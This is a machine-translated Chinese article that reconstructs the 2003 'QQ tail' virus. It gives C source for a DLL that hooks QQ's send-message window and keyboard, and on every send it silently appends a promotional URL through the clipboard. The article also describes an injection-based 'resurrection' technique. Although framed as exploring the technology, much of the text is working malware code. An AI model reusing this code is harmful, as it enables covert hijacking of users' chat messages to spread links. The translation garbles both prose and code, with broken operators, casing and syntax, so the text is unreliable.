Disclaimer: This article is intended to explore technology, please do not use any destruction in the article in the article. In 2003, the QQ tail virus could be considered a show. It uses IE's email head vulnerability to spread crazy on QQ. When the virus is sent to others, the virus will automatically add a sentence after the information text, and the content is diverse. In short, the recipient hoped by hope that the URL in this sentence will become the URL in this sentence. The picture below is the news sent after the dyed QQ, with the poisoned people only hit the word "hello", and the other is the masterpiece of the virus. What I will be discussed below is the technology used by QQ tail viruses. Since the source code of the virus cannot be obtained, the following code is all my subjective assault, and fortunately the effect is basically consistent with the virus itself.
Paste tail
The first one is the simplest problem how to add text. This technology has no secret, that is, the RicheDit "Post" of the QQ message through the clipboard. The code is as follows: tchar g_str [] = "Welcome to my small station: http: //titilima.nease.net"; // Function: Paste the tail void pastetext (hwnd hrich) {Hglobal HMEM in the text box; LPTSTR pStr; // allocate memory space hMem = GlobalAlloc (GHND | GMEM_SHARE, sizeof (g_str)); pStr = GlobalLock (hMem); lstrcpy (pStr, g_str); GlobalUnlock (hMem); OpenClipboard (NULL); EmptyClipboard (); // Set the clipboard text setClipboardData (cf_text, hmem); closeclipboard (); // Release memory space GlobalFree (HMEM); // Paste text SendMessage (HRICH, WM_PASTE, 0, 0);}
hook
Ok, then the following question is, what should this text be posted? There are some articles on the Internet to study the QQ tail implementation. It is pointed out that the timer can be used to control the paste time. Similar to this: void cqqqqqqqqtails {PasteteText (hrich);} This is indeed a solution, However, it also has great limitations - how to set the interval of the timer? Perhaps poisoned people are typing, the tail text "唰" has appeared ... However, the virus itself is not such a case, it can accurately paste the text when you click "Send" or press the Ctrl Enter key. In January 2003, a P2 was in the middle, because the system speed was slow, so it could clearly see the timing of the text paste. Telling here, these facts that I have stated will definitely let you say that you said: hook! - Yes, it is a hook. Here I am saying that this technology is really reproduced in the "QQ Tail Virus". First of all, I made a brief introduction to the hook, and friends who have been familiar with the hook can skip this paragraph. The so-called Win32 hook (hook) is not the artificial reproduced arm of the iron hook, but a segment subroutine that can be used to monitor specific messages in the system, and complete some specific functions. For example, your program is the emperor, the Windows system acts as a governor of the provinces; as for the hook, it can be considered an imperial imperial. For example, the emperor is aimed at the national taxation, and then sent an imperial to find Shanxi governor and said: "Emperor is aiimuth, in addition to normal taxation, Shanxi adds a Xinghua Village wine ten altar." (-_- # ...) as the emperor can Like this method, the programmer can also use hooks to capture specific messages in the Windows system. The problem is specific to the "QQ tail virus", that is, we need a hook, paste our text after the user clicks the "Send" button. The hook process I have implemented is (as for how to hook this hook, I will explain later): // Hook process, monitor "send" command message LRESULT CALLBACK CALLWNDPROC (int Ncode, WParam WParam, LParam lparam) {CWPSTRUCT * P = (cWPSTRUCT *) LPARAM; // Capture "Send" button if (P-> Message == WM_COMMAND && LOWORD (P-> WPARAM) == 1) Pastetext (g_hrich); Return CallNexthookex (g_hproc, ncode , WPARAM, LPARAM;} This time I explain this time for this callback process: 1. LPARAM is a pointer to the CWPSTRUCT structure. This structure is described as follows: typedef struct {lparam lparam; wparam wparam; uint message; hwnd hwnd; } Cwpstruct, * pcwpstructure; at this time, like I will smile like me: Is this not the four hardcore parameters of the window callback? As you said, it is true that you can even use the hook function written by Switch (P-> Message) {/ * ... * /} to fully take over the QQ window. 2, g_hrich is a global variable that saves the handle of the QQ message text box. The reason why the global variable is used here is because I can't get this handle from the parameters of the keyboard hook callback function.
As for how to get this handle and the special location of this global variable, I will explain later. 3, CallNexthookex is the next processing process in the hook chain. It will be said: "The imperial imperial imperial imperial imperial imperial imperialism has been replaced. Now, please ask the governor. "(-_- # ...) This is a very important part of the writing hook function. If this sentence is less, it may cause an error in the hook chain of the system, and some programs will not respond - in fact I When writing this simulation program, QQ is a few times. 4, you may ask why I captured the WM_COMMAND message, this reason let me use the following SDK code (although QQ is written with MFC, but with SDK code to explain the WM_COMMAND and "Send" button relationships) : #DEfine IDC_BTN_SENDMSG 1 // "Send" "" Send "button ID Macro definition // QQ Send Message dialog Passback Procedure · Li Ma forgery LRESULT CALLBACK Procsenddlg (HWND HDLG, UINT MSG, WPARAM WPARAM, LPARAM LPARAM) {Switch (MSG) {CASE WM_CLOSE: EndDialog (HDLG, 0); Break; Case WM_COMMAND: {Switch (WPARAM)) {CASE IDC_BTN_SENDMSG: // Send Message ... BREAK; // Other command button processing section ...}} Break; // Other Case section ...} return 0;} The entire process sent by the message is: When the user clicks on the "Send" button, the parent window of this button (that is, "Send Message" dialog box) The notification message of WM_COMMAND will receive, where WPARAM's low word (ie, loword (wparam)) is the ID of this button, then calls the part sent in the code, this process is as follows: So, here I capture the WM_COMMAND message More than the capture of other messages or hooks the mouse hook. Ok, now this hook has been able to complete the task. But please don't forget: There are more users prefer to send messages with the "Ctrl Enter" hotkey, so the program also needs to hang a keyboard hook: // Keyboard hook process, monitor the "send" hot key message LRESULT CALLBACK KeyboardProc (int nCode, WPARAM wParam, LPARAM lParam) {// capture hotkey message if (wParam == VK_RETURN && GetAsyncKeyState (VK_CONTROL) <0 && lParam> = 0) pasteText (g_hRich); return CallNextHookEx (g_hKey, nCode , wparam, lparam;} The only thing to explain here is LPARAM> = 0 clause. Obviously this IF judgment is in judging the input of the hotkey Ctrl Enter, then lparam> = 0 is it? In fact, among the callback of the keyboard hook, LPARAM is a very important parameter that contains information on the repetition of the keystroke, scanning code, extension key mark, etc. The highest bit of LPARAM (0x80000000) indicates whether the current button is pressed. If this bit is being pressed, this bit is 0, and the opposite is 1.
So lParam> = 0 means calling pastetext when WM_KeyDown, means that if the condition is removed, the PASTETEXT will call twice (one along with WM_Keyup). Mounted hooks and lookup windows
The next step is how to mount these two hooks. For hook hooks, the problem to be solved is: Where do you hook a hook, and how to hook? The goal of hook the hook is definitely the thread of the QQ "Send Information" window. My code is to pass the handle of this window to make hooks: // Mounting hook BOOL WINAPI STHOOK (HWND HQQ) {BOOL BRET = false; if (hqq! = Null) {DWORD DWTHREADID = GetWindowThreadProcessID HQQ, NULL); // Thank you friend Hottey's search code, save me using Spy 's troubles g_hrich = getWindow (getDlgitem (hqq, 0), gw_child); if (g_hrich == null) Return False; // Mount hook g_hProc = SetWindowsHookEx (WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID); g_hKey = SetWindowsHookEx (WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID); bRet = (! g_hProc = NULL) && (g_hKey = NULL!);} else {// unloading hook Bret = unhookwindowshookex (g_hproc) && unhookwindowshookex (g_hkey); g_hproc = null; g_hKey = null; g_hrich = null;} return bret;} To this, all of the above code is located in a hook.dll dynamic link library, I will not introduce the DLL, please refer to the relevant information on MSDN and the supporting source code of this article. All important work is already made in the DLL (in fact this part of the work can only be done by the DLL, which is determined by the Windows virtual memory mechanism), we only need to call the exported Sthook function in EXE. . So, how do the parameters of SETHOOK? Please see the following code: // Thank you friend Hottey's search code, save the trouble I use SPY HWnd hsend; g_hqq = null; setHOOK (null); do {g_hqq = FindWindowEx (null, g_hqq, "# 32770", null HSEND = FindWindowEx (G_HQQ, NULL, "Button", "Send (& S)");} while (g_hqq! = Null && hsend == null); if (g_hqq! = Null) STHOOK (G_HQQ); this paragraph The DO-While loop in the code is used to find the window of "send message". The QQ window has more and more strong, one layer of the window, which is very inconvenient, so thank you for your friends Hottey. " QQ message bomb, I want to use Spy trouble. What I did, just translated Delphi code in his text into C code. DLL sharing data segment
If you don't understand the DLL, then after you read my supporting source code, you will definitely have some questions about the following paragraph: // Define the shared data section #pragma data_seg ("Shared") hHOOK G_HPROC = NULL; / / Window process hook handle hHOOK G_HKEY = NULL; // Keyboard hook handle hWnd g_hrich = null; // text box handle #pragma data_seg () # Pragma Comment (Linker, "/ Section: Shared, RWS") This defines a shared share Data segments, yes, because my comments have been written very clearly, what role does the shared data segment? Before answering this question, I invite you to comment out of the pre-processing instruction instruction in the code and then recompile this DLL and run, what do you find? Yes, add a tail failed! Ok, let me explain this question. The main program of this simulation program is actually the following relationship: this DLL needs to map an instance to the address space of Exe for its call, you also need to map another instance to The address space of QQ is to complete the work of the hook hook. That is, after the hook is hooked, there are two DLL instances in the module of the entire system! This DLL is non-He DLL, so there is no connection between them. Take the global variable g_hrich, the DLL on the left of the figure has obtained the handle of the text box through the incoming of EXE, however if there is no shared section, then in the right DLL, g_hrich is still NULL. The meaning of sharing section is reflected in this, which is to ensure the connection between EXE, DLL and QQ. This is a bit similar to the member variables of Static in C . After the hook is successful, you can find a look at the process manager with a module view function, and you will find that hook.dll is also located in the module of QQ.EXE. The last thing I want to say
1, I said before, in January 2003, I met this virus. I still know that the virus EXE is only 16kb size, so from the nature of the virus itself, this thing should be Writing with Win32ASM will be more practical. 2, that virus I used to be a hand-killing - I used a process to see the tool. But the "QQ Tail" has increased the resurrection function - After the EXE is killed, the DLL will wake up. I used my process to see tool analysis, and I found that almost all processes in the system were hanged by the virus's DLL. This technology is to use CreateRemoteThread in all processes to insert an additional resurrection thread, which is really a stone two bird - guarantees that EXE is always running, and this DLL is in use cannot be deleted. This technology I have already achieved, but the stability is far from being excellent in the virus itself, so it is not written here, interested friends can refer to the relevant chapter of Jeffrey Richter "Windows Core Programming". 3, the pen, I remembered a word in the "STL source analysis" in the "STL source profiling" - "The source code has no secret." If you have this feeling after reading this article, then I will feel lucky.
Click here to download supporting source code